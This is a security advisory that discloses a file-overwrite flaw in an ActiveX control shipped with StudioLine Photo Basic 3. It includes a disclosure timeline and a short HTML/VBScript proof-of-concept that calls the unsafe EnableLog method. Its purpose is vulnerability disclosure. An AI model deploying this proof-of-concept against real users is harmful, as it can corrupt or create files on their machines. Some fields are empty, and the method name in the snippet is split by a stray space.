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StudioLine Photo Basic 3 ActiveX control Insecure Method

Advisory ID:HTB23024
Product:StudioLine Photo Basic 3
Vendor:H&M Software
Vulnerable Versions: and probably prior
Tested Version:
Advisory Publication:June 15, 2011 [without technical details]
Vendor Notification:June 15, 2011
Public Disclosure:August 15, 2011
Latest Update:June 27, 2011
Vulnerability Type:Exposed Unsafe ActiveX Method [CWE-618]
Risk Level:Critical
CVSSv2 Base Score:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered a vulnerability in StudioLine Photo Basic 3 ActiveX control, which can be exploited to overwrite arbitrary files.

1) Insecure method in StudioLine Photo Basic 3 ActiveX control
The vulnerability is caused due to the NMSDVDX.DVDEngineX.1 (NMSDVDXU.dll) ActiveX control including the insecure "EnableLog()" method. This can be exploited to corrupt or create arbitrary files in the context of the current user.
The following PoC code is available:
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
target.En ableLog arg1 ,arg2
End Sub

See also: SA31936

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[1] High-Tech Bridge Advisory HTB23024 - - StudioLine Photo Basic 3 ActiveX Control Insecure Method
[2] StudioLine Photo Basic 3 - - StudioLine Basic 3 is a sophisticated image management tool with integrated image editing and many presentation options.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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